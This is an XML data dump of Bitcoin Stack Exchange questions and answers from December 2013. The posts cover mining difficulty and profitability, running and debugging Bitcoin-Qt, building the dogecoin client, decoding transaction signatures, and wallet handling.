  <row Id="19083" PostTypeId="1" AcceptedAnswerId="19129" CreationDate="2013-12-20T04:19:11.580" Score="0" ViewCount="163" Body="&lt;p&gt;Does increasing difficulty also serve to decrease the probability of a 51% attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that since difficulty is the same for all, this is not the case.  Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If difficulty were perpetually at minimum, would the probability of a 51% attack skyrocket?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditDate="2015-06-09T20:12:47.827" LastActivityDate="2015-06-09T20:18:49.557" Title="Does a 51% attack depend upon difficulty?" Tags="|security|difficulty|majority-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19084" PostTypeId="2" ParentId="17582" CreationDate="2013-12-20T04:39:36.527" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Stamp_collecting&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Stamp_collecting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mULs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like something similar to nowadays events with alt-coins already were in the history of humanity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can stop Stamp collectors from creating new stamp? Theoretically, there is finite lumber on the Earth, finely, finite number of the atoms around Sun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare to alt-coins, there is finite number of tcp ports, 1-65535. However, any alt-coin can take original bitcoin's ports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finite number of IP addresses, however, there is IRC protocol in the base of bitcoin protocol, probably, only one node needs in real IP, may be no one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Enter to the market for new alt-coin appear more and more friendly. Probably, once, user would chose couple of params, Number of coins, delays, ports, name of alt-coin, and Logo. &lt;em&gt;Push the button. Alt-coin ready.&lt;/em&gt; User will only configure his GPU/CPU to make the life in the block-chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the same question, and my answer: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18067/whats-stopping-an-infinite-number-of-altcoins-with-the-same-protocol-from-appea/18120#18120&quot;&gt;What&amp;#39;s stopping an infinite number of altcoins with the same protocol from appearing in the future?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10274" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-12-20T04:39:36.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19085" PostTypeId="1" CreationDate="2013-12-20T04:46:51.577" Score="1" ViewCount="1657" Body="&lt;p&gt;I was wondering if any of you could help me in making my own mining calculator. I know there are many good web apps out there, but I would like to make one myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is how to calculate the statistical outcome, knowing a given hardware's hashrate per second and the difficulty level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know what formula should I use?&lt;/p&gt;&#xA;" OwnerUserId="11124" LastEditorUserId="5406" LastEditDate="2016-03-17T16:07:48.673" LastActivityDate="2022-05-15T18:16:56.050" Title="Calculating Hardware Efficiency through Hash Rate per Second" Tags="|mining-profitability|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19086" PostTypeId="1" CreationDate="2013-12-20T04:54:13.533" Score="4" ViewCount="449" Body="&lt;p&gt;At the moment I have ONE linux server acting as the &quot;APP&quot; server for bitcoind/p2pool applications and another linux server with nginx proxying web traffic from the APP server, while behind CloudFlare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the proper way to scale out p2pool in this scenario? My thoughts were:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a cloud load balancer for the APP servers&lt;/li&gt;&#xA;&lt;li&gt;Take a server snapshot of my single APP server&lt;/li&gt;&#xA;&lt;li&gt;Spin up 2 more servers from that server snapshot and place them behind the load balancer&lt;/li&gt;&#xA;&lt;li&gt;Update the DNS to point to the floating IP of the load balancer&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this the proper way to scale up p2pool ?&lt;/p&gt;&#xA;" OwnerUserId="11125" LastActivityDate="2015-02-06T15:40:20.043" Title="What's the proper way to scale p2pool?" Tags="|bitcoind|linux|p2pool|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19087" PostTypeId="2" ParentId="19072" CreationDate="2013-12-20T05:09:54.833" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can browse bitcoin wiki: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As Egor notice, here a litecoin.info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://litecoin.info/Mining_Pool_Comparison&quot; rel=&quot;nofollow&quot;&gt;http://litecoin.info/Mining_Pool_Comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Partially outdated, &lt;a href=&quot;http://pastehtml.com/view/awb1vg03r.html&quot; rel=&quot;nofollow&quot;&gt;http://pastehtml.com/view/awb1vg03r.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, there is thousand of sites, like this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coinindex.org&quot; rel=&quot;nofollow&quot;&gt;http://www.coinindex.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://howtobitcoin.info&quot; rel=&quot;nofollow&quot;&gt;http://howtobitcoin.info&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tblob.org&quot; rel=&quot;nofollow&quot;&gt;http://www.tblob.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Probably, nowhere you can find a full list of alt-coins pools, because this part of net changes &lt;strong&gt;&lt;em&gt;so fast&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.google.com/search?q=BOTPOOL&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?q=BOTPOOL&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.google.com/search?q=MPOS+by+TheSerapher&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?q=MPOS+by+TheSerapher&lt;/a&gt; &amp;lt;-- from the second page start pools, 6 pages, about 20 pools.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10274" LastEditorUserId="10274" LastEditDate="2013-12-20T06:38:02.117" LastActivityDate="2013-12-20T06:38:02.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19090" PostTypeId="2" ParentId="19022" CreationDate="2013-12-20T05:18:20.767" Score="0" Body="&lt;p&gt;Open a terminal window and enter this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;tail -f ~/Library/Application\ Support/Bitcoin/debug.log&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will get a scrolling log of all the detailed activity of bitcoin-qt.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-12-20T05:18:20.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19092" PostTypeId="2" ParentId="19085" CreationDate="2013-12-20T05:36:26.340" Score="2" Body="&lt;p&gt;If you have Excel, try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;BTC Per Day = (B3*POWER(10,9)/B1)*(B4*B6)/B5 &lt;/li&gt;&#xA;&lt;li&gt;B1 = 907549524 (Difficulty Factor - obtained from &lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindifficulty.com/&lt;/a&gt; or&#xA;&lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt;) &lt;/li&gt;&#xA;&lt;li&gt;B3 = 70 (Hashing Rate in GH/s) &lt;/li&gt;&#xA;&lt;li&gt;B4 = 25 (Block Award in BTC)&lt;/li&gt;&#xA;&lt;li&gt;B5 = POWER(2,32) (Is a constant, is the number of integer nonce&#xA;values that can be hashed with a 32 bit integer register) &lt;/li&gt;&#xA;&lt;li&gt;B6 = 86400 (seconds per day)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Answer for #1 is 0.038790162 when the data from B3, B4, B5 and B6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add two other fields in my spreadsheet: 1) Difficulty Factor Compound Rate in % per 2048 Blocks (somewhere around 15% to 20%), 2) the value in BTC denominated in USD. The remainder of the spreadsheet I use determines risks associated with late ASIC hardware deliveries in terms of BTC or USD opportunity losses.  Absolutely, don't use any of the online mining calculators to make big Mining H/W acquisition decisions... You must take into account the non-linear difficulty factor compounding rate to make reasonable computations of what your profits are likely to be. Otherwise, your estimated profits are likely to be losses...&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2016-04-14T01:29:58.943" LastActivityDate="2016-04-14T01:29:58.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19093" PostTypeId="2" ParentId="19022" CreationDate="2013-12-20T05:43:20.750" Score="1" Body="&lt;p&gt;It takes forever and a day to have Bitcoin-Qt sync up with the Blockchain for the first time. Also try executing &quot;netstat -n -P TCP | grep '.8333'&quot; in a terminal window to see if you have eight concurrent socket connections into the Bitcoin network.  &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-20T05:43:20.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19095" PostTypeId="2" ParentId="17738" CreationDate="2013-12-20T06:37:43.940" Score="0" Body="&lt;p&gt;I had same kind of problems with &lt;code&gt;--thread-concurrency&lt;/code&gt; with my three R9 290 cards. The problem was that I had only 4GB of ram, I bought 8gb more ram, total 12GB and now everything works just fine. After that I also had problems with intensity but I worked it out with correct fan and temp-target settings.&lt;/p&gt;&#xA;" OwnerUserId="11130" LastEditorUserId="132" LastEditDate="2013-12-20T11:07:21.430" LastActivityDate="2013-12-20T11:07:21.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19097" PostTypeId="1" CreationDate="2013-12-20T06:48:59.610" Score="1" ViewCount="7418" Body="&lt;p&gt;I have installed Bitcoin QT and I have also downloaded bootstrap.dat from a torrent. I am having trouble in adding bootstrap.dat to Bitcoin QT. Please guide me. Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user1431" LastActivityDate="2013-12-20T12:49:17.947" Title="Connecting bootstrap.dat to Bitcoin QT?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-31T01:03:44.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="19098" PostTypeId="1" AcceptedAnswerId="19106" CreationDate="2013-12-20T08:02:09.713" Score="2" ViewCount="2249" Body="&lt;p&gt;What are the actual dogecoin client requirements?  Their list doesn't seem to match exactly with what I have available, and I had to go back and forth with &lt;code&gt;apt&lt;/code&gt; to even install what I have so far, and I'm by no means confidence that I have the correct dependencies&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;thufir@dur:~/dogecoin$ head doc/readme-qt.rst -n 20Dogecoin-Qt: Qt4 GUI for Dogecoin&#xA;=================================&#xA;&#xA;Build instructions&#xA;==================&#xA;&#xA;Debian&#xA;------&#xA;&#xA;First, make sure that the required packages for Qt4 development of your&#xA;distribution are installed, for Debian and Ubuntu these are:&#xA;&#xA;::&#xA;&#xA;    apt-get install qt4-qmake libqt4-dev build-essential libboost-dev libboost-system-dev \&#xA;        libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev \&#xA;        libssl-dev libdb++-dev libminiupnpc-dev&#xA;&#xA;then execute the following:&#xA;&#xA;thufir@dur:~/dogecoin$ sudo apt-get install qt4-qmake libqt4-dev build-essential libboost-dev libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev  libssl-dev&#xA;Reading package lists... Done&#xA;Building dependency tree       &#xA;Reading state information... Done&#xA;libboost-dev is already the newest version.&#xA;libboost-program-options-dev is already the newest version.&#xA;libboost-filesystem-dev is already the newest version.&#xA;libboost-system-dev is already the newest version.&#xA;libboost-thread-dev is already the newest version.&#xA;libqt4-dev is already the newest version.&#xA;libssl-dev is already the newest version.&#xA;qt4-qmake is already the newest version.&#xA;build-essential is already the newest version.&#xA;0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10651" LastEditorUserId="10651" LastEditDate="2013-12-20T12:22:02.820" LastActivityDate="2013-12-20T12:25:52.120" Title="What dependencies are needed to build the dogecoin client?" Tags="|linux|ubuntu|compiling|dogecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19101" PostTypeId="2" ParentId="19022" CreationDate="2013-12-20T09:14:16.973" Score="0" Body="&lt;p&gt;Run bitcoin-qt from command line and redirect the error and the standard output to a file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt 2&amp;gt;&amp;amp;1 /path/to/your/log/file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;check your log file to find what's going on ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the log file in real time on screen by typing : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /path/to/your/log/file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11015" LastActivityDate="2013-12-20T09:14:16.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19103" PostTypeId="2" ParentId="19072" CreationDate="2013-12-20T09:49:48.653" Score="1" Body="&lt;p&gt;I really like this blog: &lt;a href=&quot;http://organofcorti.blogspot.com/&quot; rel=&quot;nofollow&quot;&gt;http://organofcorti.blogspot.com/&lt;/a&gt;&#xA;A weekly report is posted and the guy puts a lot of interesting info about pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;give a look.&lt;/p&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2013-12-20T09:49:48.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19104" PostTypeId="2" ParentId="19022" CreationDate="2013-12-20T10:13:45.577" Score="0" Body="&lt;p&gt;You could also go to Help -&gt; Debug Window to see if you have active Connections and if the blocks are moving.&lt;/p&gt;&#xA;" OwnerUserId="11125" LastActivityDate="2013-12-20T10:13:45.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19105" PostTypeId="1" CreationDate="2013-12-20T10:52:02.753" Score="2" ViewCount="757" Body="&lt;p&gt;I want to start playing around a bit with the technical side of Bitcoins (thinking of setting up an exchange). So I built a bitcoind (daemon) binary from source and now the docs say that when I run that, it will start downloading the blockchain, which is several GBs large and takes a couple hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I want to do however, is create a simple wallet and make transactions from and to it. And because I ultimately want to deploy this to a server, I would prefer to not download several GBs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do I really need to download the whole blockchain in order to get a simple bitcoin wallet? Or is there a smarter way than deploying a wallet on a server using the bitcoin daemon?&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2014-02-02T17:22:35.077" Title="Do I need the bitcoin blockchain for having a simple wallet using the bitcoind (daemon)?" Tags="|wallet|blockchain|bitcoind|daemon|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19106" PostTypeId="2" ParentId="19098" CreationDate="2013-12-20T12:25:52.120" Score="2" Body="&lt;p&gt;somehow or another, I got this to compile.  it was some combination of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;install libboost1.48-all-dev libdb++-dev&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then install without version number&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then compile, compile fails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blocked packages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;start over&lt;/p&gt;&#xA;&#xA;&lt;p&gt;install without version number&lt;/p&gt;&#xA;&#xA;&lt;p&gt;compile works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't remember, but it seemed random. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I knew for a fact the correct dependencies, I would say so.  but, the dependencies for the client and the digger (minerd) are, or might be different, and I was compiling both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I'm certain of is that the documentation wasn't correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu 12.04LTS  (probably didn't help, old version)&lt;/p&gt;&#xA;" OwnerUserId="10651" LastActivityDate="2013-12-20T12:25:52.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19107" PostTypeId="2" ParentId="19097" CreationDate="2013-12-20T12:49:17.947" Score="1" Body="&lt;p&gt;Place bootstrap.dat in the bitcoin data directory and then start Bitcoin-Qt.  It will read the file to create the blockchain.  The file will be renamed to bootstrap.dat.old when this is completed to prevent reprocessing when Bitcoin-Qt is restarted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can locate the data directory by reading &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-20T12:49:17.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19108" PostTypeId="2" ParentId="19081" CreationDate="2013-12-20T12:56:42.613" Score="12" Body="&lt;p&gt;the output address is derived solely from the output script starting &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;from step 4 in the wiki&lt;/a&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first add leading zeros:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0012ab8dc588ca9d5787dde7eb29569da63c3a238c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then hash with sha256 (&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;if you look in the wiki&lt;/a&gt; this is actually part of the OP_HASH160 operation) to give:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e158c4be10913422dadcf1c36843020ebb3ffe9d0cb13fb9e8c0a564a53c7832&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then hashed with sha256 again (the wiki is wrong here - it says to use ripemd160, but actually sha256 is required again) to give:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;96bf1d277213bbcd91145138e4c7ad8dcd6e1de1c39884fcbc1f5a6d4d7aee93&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then grab the first 4 bytes of this result (&lt;code&gt;96bf1d27&lt;/code&gt;) and stick them on the end of the original hash160 public key with leading zeros:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0012ab8dc588ca9d5787dde7eb29569da63c3a238c96bf1d27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;convert to decimal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;457790304922245030616719694560989441716273193824169172263&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;base58 encode to give:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2higDjoCCNXSA95xZMWUdPvXNmkAduhWv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and stick a 1 in front of it all to get the bitcoin output address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12higDjoCCNXSA95xZMWUdPvXNmkAduhWv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now to figure out how to get the input addresses...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/12556/2116&quot;&gt;thanks to this answer&lt;/a&gt;, we can see that both the signatures are der encoded in the following format:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x30: a header byte indicating a compound structure&lt;/li&gt;&#xA;&lt;li&gt;a 1-byte length descriptor for all what follows&lt;/li&gt;&#xA;&lt;li&gt;0x02: a header byte indicating an integer&lt;/li&gt;&#xA;&lt;li&gt;a 1-byte length descriptor for the r value&lt;/li&gt;&#xA;&lt;li&gt;the r coordinate, as a big-endian integer&lt;/li&gt;&#xA;&lt;li&gt;0x02: a header byte indicating an integer&lt;/li&gt;&#xA;&lt;li&gt;a 1-byte length descriptor for the s value&lt;/li&gt;&#xA;&lt;li&gt;the s coordinate, as a big-endian integer&lt;/li&gt;&#xA;&lt;li&gt;a hashtype byte&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so, decoding the raw script signatures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;493046022100e26d9ff76a07d68369e5782be3f8532d25ecc8add58ee256da6c550b52e8006b022100b4431f5a9a4dcb51cbdcaae935218c0ae4cfc8aa903fe4e5bac4c208290b7d5d01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x49 = OP_PUSHDATA0 - push 73 bytes onto the stack (script command not part of the signature value)&lt;/li&gt;&#xA;&lt;li&gt;0x30 = header byte&lt;/li&gt;&#xA;&lt;li&gt;0x46 = length descriptor (70 bytes)&lt;/li&gt;&#xA;&lt;li&gt;0x02 = header byte&lt;/li&gt;&#xA;&lt;li&gt;0x21 = r value length descriptor (33 bytes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;00e26d9ff76a07d68369e5782be3f8532d25ecc8add58ee256da6c550b52e8006b&lt;/code&gt; the r coordinate as a big endian integer&lt;/li&gt;&#xA;&lt;li&gt;0x02 = header byte&lt;/li&gt;&#xA;&lt;li&gt;0x21 = s value length descriptor (33 bytes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;00b4431f5a9a4dcb51cbdcaae935218c0ae4cfc8aa903fe4e5bac4c208290b7d5d&lt;/code&gt; the s coordinate as a big endian integer&lt;/li&gt;&#xA;&lt;li&gt;0x01 = hashtype byte&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and the second raw signature has the same format too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;493046022100a2ab7cdc5b67aca032899ea1b262f6e8181060f5a34ee667a82dac9c7b7db4c3022100911bc945c4b435df8227466433e56899fbb65833e4853683ecaa12ee840d16bf01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x49 = OP_PUSHDATA0 - push 73 bytes onto the stack (script command not part of the signature value)&lt;/li&gt;&#xA;&lt;li&gt;0x30 = header byte&lt;/li&gt;&#xA;&lt;li&gt;0x46 = length descriptor (70 bytes)&lt;/li&gt;&#xA;&lt;li&gt;0x02 = header byte&lt;/li&gt;&#xA;&lt;li&gt;0x21 = r value length descriptor (33 bytes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;00a2ab7cdc5b67aca032899ea1b262f6e8181060f5a34ee667a82dac9c7b7db4c3&lt;/code&gt; the r coordinate as a big endian integer&lt;/li&gt;&#xA;&lt;li&gt;0x02 = header byte&lt;/li&gt;&#xA;&lt;li&gt;0x21 = s value length descriptor (33 bytes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;00911bc945c4b435df8227466433e56899fbb65833e4853683ecaa12ee840d16bf&lt;/code&gt; the s coordinate as a big endian integer&lt;/li&gt;&#xA;&lt;li&gt;0x01 = hashtype byte&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so this confirms that the signature values in the transaction inputs actually do not contain public keys at all. the input addresses actually come from the previous transaction outputs which can be identified through the input hash and input index in the current tx.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-03-10T06:03:17.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19109" PostTypeId="2" ParentId="9704" CreationDate="2013-12-20T13:39:50.137" Score="0" Body="&lt;p&gt;if you are getting .3, then it must be your video card doing the work in bitminter.  There is no way your cpu will get anywhere near that, neither will an Intel.&#xA;Keep your AMD cpu, stay way from NVIDIA gpu's as they are terrible at this job.  Multiple top end AMD GPU's in Crossfire will give you the best speeds possible without buying an ASIC as you will see here &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;  unless you want to spend thousands on a Tesla to get the performance AMD offers at $699...&lt;/p&gt;&#xA;" OwnerUserId="11140" LastActivityDate="2013-12-20T13:39:50.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19111" PostTypeId="1" CreationDate="2013-12-20T15:07:07.357" Score="3" ViewCount="27860" Body="&lt;p&gt;I have servers at my home (I work as a computer architect from my home for the Fortune 50) that are on all the time and plan to procure some Bitcoin hardware miners in the next few weeks. In the meantime I have got my own Bitcoin Wallet and signed up to a Bitcoin Pool and want to 'test the water' by mining with my extra GPUs I have in one primary Windows Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an account with Eclipse and have the original Wallet from Bitcoin Qt and I run a GUI mining tool from Butterflylabs called Easy Miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused as I ran all night for about 18 hours but the logs show nothing but zero's when it talks about my work! It shows no devices and it 'looks' like no GPU!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused...do I need a different Mining Tool to use my GPU or CPU (can you even use the CPU anymore...I know it would be slow and hence o not really want this.&lt;/p&gt;&#xA;" OwnerUserId="11144" LastEditorUserId="5406" LastEditDate="2016-04-17T20:14:51.780" LastActivityDate="2016-11-04T10:34:00.633" Title="Easy Miner showing zero work, no devices shown" Tags="|mining-profitability|miner-configuration|gpu-mining|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19112" PostTypeId="1" AcceptedAnswerId="32130" CreationDate="2013-12-20T15:44:58.490" Score="6" ViewCount="853" Body="&lt;p&gt;I have some transactions pending in the memory pool, how do I empty the memory pool without restarting bitcoind ?&#xA;I would like the transactions to be cancelled also.&lt;/p&gt;&#xA;" OwnerUserId="4060" LastEditorUserId="5406" LastEditDate="2014-10-24T12:43:55.537" LastActivityDate="2014-10-26T11:24:20.960" Title="How do I empty the memory pool?" Tags="|bitcoind|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19113" PostTypeId="2" ParentId="32" CreationDate="2013-12-20T16:04:21.287" Score="0" Body="&lt;p&gt;A lot of people state that no claims are made that you will earn a financial return.  That may be true, but manufacturers certainly imply that you will earn money.  Why else would they charge thousands of dollars for mining hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your question is fair, because there are calculators out there that predict a user will never earn-back the $5K they spend on expensive mining hardware, especially when said hardware won't arrive until Spring of 2014 (when difficulty has increased dramatically by then).  Still, any time you question the manufacturer on an unrealistic price, they hide behind the aforementioned claim that they &quot;can't predict market activity&quot; and that you should purchase their equipment &quot;at your own risk&quot;.&lt;/p&gt;&#xA;" OwnerUserId="11146" LastActivityDate="2013-12-20T16:04:21.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19114" PostTypeId="1" CreationDate="2013-12-20T16:09:41.880" Score="5" ViewCount="625" Body="&lt;p&gt;I plan to export the private keys from Multibit, keep those and delete everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I read about Multibit having some kind of hidden mechanism for spare adresses within a wallet. Would my approach still work or do I risk losing the BTC in the wallet?&lt;/p&gt;&#xA;" OwnerUserId="11147" LastActivityDate="2016-05-20T23:40:49.857" Title="Can I use Multibit private key for paper wallet?" Tags="|private-key|multibit|coldstorage|paper-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
